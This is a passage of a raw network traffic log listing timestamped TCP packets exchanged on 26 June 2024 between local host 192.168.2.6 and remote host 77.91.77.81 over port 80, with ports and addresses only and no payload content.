Jun 26, 2024 08:16:31.666608095 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666611910 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666640043 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666707993 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666801929 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666893005 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666893005 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666906118 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666918039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666930914 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666940928 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666941881 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666960001 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666971922 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666975021 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666981936 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.666990042 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.666995049 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667022943 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667032957 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667032957 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667035103 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667046070 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667057991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667069912 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667081118 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667098045 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667098045 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667108059 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667119980 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.667128086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667128086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667146921 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.667386055 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.697000027 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697057009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697065115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697084904 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.697139978 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697151899 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697163105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697173119 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.697184086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.697232962 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.697259903 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.697312117 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.715123892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715219975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715231895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715296030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715306997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715318918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715322971 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.715329885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.715341091 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.715393066 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.715393066 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718000889 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718044996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718056917 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718070030 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718147039 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718164921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718177080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718188047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718199015 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718241930 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718241930 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718271017 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718462944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718533039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718543053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718595982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718606949 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718617916 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718622923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718653917 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718666077 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.718713999 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.718729973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.719238043 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.751735926 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.751867056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.751878023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.751889944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.751904011 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.751904011 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.751929045 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.751945972 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.751970053 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.751971960 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.752000093 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.752760887 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.752785921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.752796888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.752825975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.752888918 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.752893925 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.752904892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.752999067 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753010035 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753021002 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753046036 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753099918 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753101110 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753171921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753181934 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753201962 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753282070 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753293037 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753309011 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753360033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753371954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753390074 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753396988 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753417969 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753524065 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753535032 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753546000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753556013 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753556967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753568888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753568888 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753617048 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753617048 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753777981 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753806114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753817081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753825903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753835917 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753846884 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753859997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753866911 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753936052 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.753958941 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.753958941 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754062891 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754075050 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754085064 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754093885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754127979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754142046 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754148960 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754152060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754158974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754163980 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754185915 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754209042 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754389048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754395008 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754405975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754414082 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754424095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754431009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754456997 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754574060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754601955 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754676104 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754688978 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754700899 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754713058 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754736900 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754744053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754755974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754765987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754772902 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754776955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754789114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754795074 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754821062 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754940987 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.754973888 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.754983902 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755017996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755028963 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755039930 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755043030 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755043030 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755050898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755062103 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755073071 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755080938 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755080938 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755083084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755110025 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755199909 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755274057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755378962 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755383015 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755418062 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755429029 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755439997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755445004 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755454063 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755465984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755467892 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755476952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755487919 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755501032 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755501032 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755620003 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755677938 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755764961 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755793095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755810976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755821943 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755831957 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755845070 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755846977 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755855083 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755866051 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755866051 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755887985 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755901098 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755903006 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755908966 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.755917072 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755933046 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.755943060 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.756159067 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.785871029 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.785886049 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.785898924 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.785954952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.785954952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.785964012 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.785978079 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.786075115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.786088943 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.786098957 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.786134005 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.786134005 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.786382914 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.804043055 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804124117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804136992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804258108 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.804380894 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804393053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804404020 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804416895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804428101 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.804471970 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.804527044 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.804527044 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.806977987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807023048 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807089090 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807109118 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807120085 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807178974 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807178974 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807216883 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807241917 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807254076 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807306051 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807306051 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807456017 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807471991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807483912 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807509899 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807533026 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807533026 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807706118 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807738066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807749033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807760954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807770967 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.807779074 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807799101 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.807845116 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.840693951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840699911 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840711117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840775013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840797901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840815067 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840821028 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.840842009 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.841025114 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.841770887 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.841875076 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.841890097 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.841896057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.841962099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.841962099 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.841963053 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.841969013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842036009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842152119 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842262983 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842267990 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842278957 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842349052 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842355013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842379093 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842379093 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842386007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842415094 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842468023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842473984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842499018 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842520952 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842528105 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842534065 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842557907 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842585087 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842592001 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842603922 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842611074 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842621088 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842669964 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842669964 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842694044 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842700005 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842710972 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842715979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842766047 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842766047 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842825890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842833042 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842839003 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842844963 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842855930 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842861891 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842866898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.842875004 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842892885 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.842899084 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843190908 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843324900 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.843343019 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.843348980 CEST	80	49715	77.91.77.81	192.168.2.6
